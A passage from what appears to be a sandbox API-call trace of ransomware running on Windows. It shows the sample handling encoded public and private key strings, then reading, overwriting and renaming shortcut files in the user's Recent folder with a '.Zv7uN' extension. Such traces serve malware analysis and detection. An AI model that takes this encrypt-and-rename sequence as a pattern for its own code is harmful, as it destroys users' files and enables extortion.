lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0080.427] GetCurrentThreadId () returned 0xa30 [0080.427] GetCurrentThreadId () returned 0xa30 [0080.427] GetCurrentThreadId () returned 0xa30 [0080.427] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cr lAb2zi.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cr lab2zi.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0080.427] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0080.428] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0080.428] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x14d8 [0080.428] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0080.428] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x14d8, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x14d8, lpOverlapped=0x0) returned 1 [0080.430] CloseHandle (hObject=0x124) returned 1 [0080.430] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cr lAb2zi.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cr lab2zi.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0080.433] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x14d8, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x14d8, lpOverlapped=0x0) returned 1 [0080.435] CloseHandle (hObject=0x124) returned 1 [0080.439] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cr lAb2zi.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cr lab2zi.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\cr lAb2zi.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\cr lab2zi.lnk.zv7un")) returned 1 [0080.441] GetCurrentThreadId () returned 0xa30 [0080.441] GetCurrentThreadId () returned 0xa30 [0080.441] GetCurrentThreadId () returned 0xa30 [0080.441] GetCurrentThreadId () returned 0xa30 [0080.441] GetCurrentThreadId () returned 0xa30 [0080.441] GetCurrentThreadId () returned 0xa30 [0080.441] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2084180, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2084180, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2084180, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3d5, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="csrS-.lnk", cAlternateFileName="")) returned 1 [0080.441] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0080.441] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0080.441] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\csrS-.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\csrs-.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2084180, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2084180, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2084180, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x3d5)) returned 1 [0080.441] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\csrS-.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\csrs-.lnk")) returned 0x20 [0080.441] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\csrS-.lnk", dwFileAttributes=0x80) returned 1 [0080.443] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0080.444] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0080.445] GetCurrentThreadId () returned 0xa30 [0080.445] GetCurrentThreadId () returned 0xa30 [0080.445] GetCurrentThreadId () returned 0xa30 [0080.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0080.445] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0080.446] GetCurrentThreadId () returned 0xa30 [0080.446] GetCurrentThreadId () returned 0xa30 [0080.446] GetCurrentThreadId () returned 0xa30 [0080.446] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\csrS-.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\csrs-.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0080.446] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0080.446] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0080.446] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x3d5 [0080.446] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0080.447] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x3d5, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x3d5, lpOverlapped=0x0) returned 1 [0080.448] CloseHandle (hObject=0x124) returned 1 [0080.448] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\csrS-.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\csrs-.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0080.450] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x3d5, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x3d5, lpOverlapped=0x0) returned 1 [0080.452] CloseHandle (hObject=0x124) returned 1 [0080.456] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\csrS-.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\csrs-.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\csrS-.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\csrs-.lnk.zv7un")) returned 1 [0080.457] GetCurrentThreadId () returned 0xa30 [0080.457] GetCurrentThreadId () returned 0xa30 [0080.457] GetCurrentThreadId () returned 0xa30 [0080.458] GetCurrentThreadId () returned 0xa30 [0080.458] 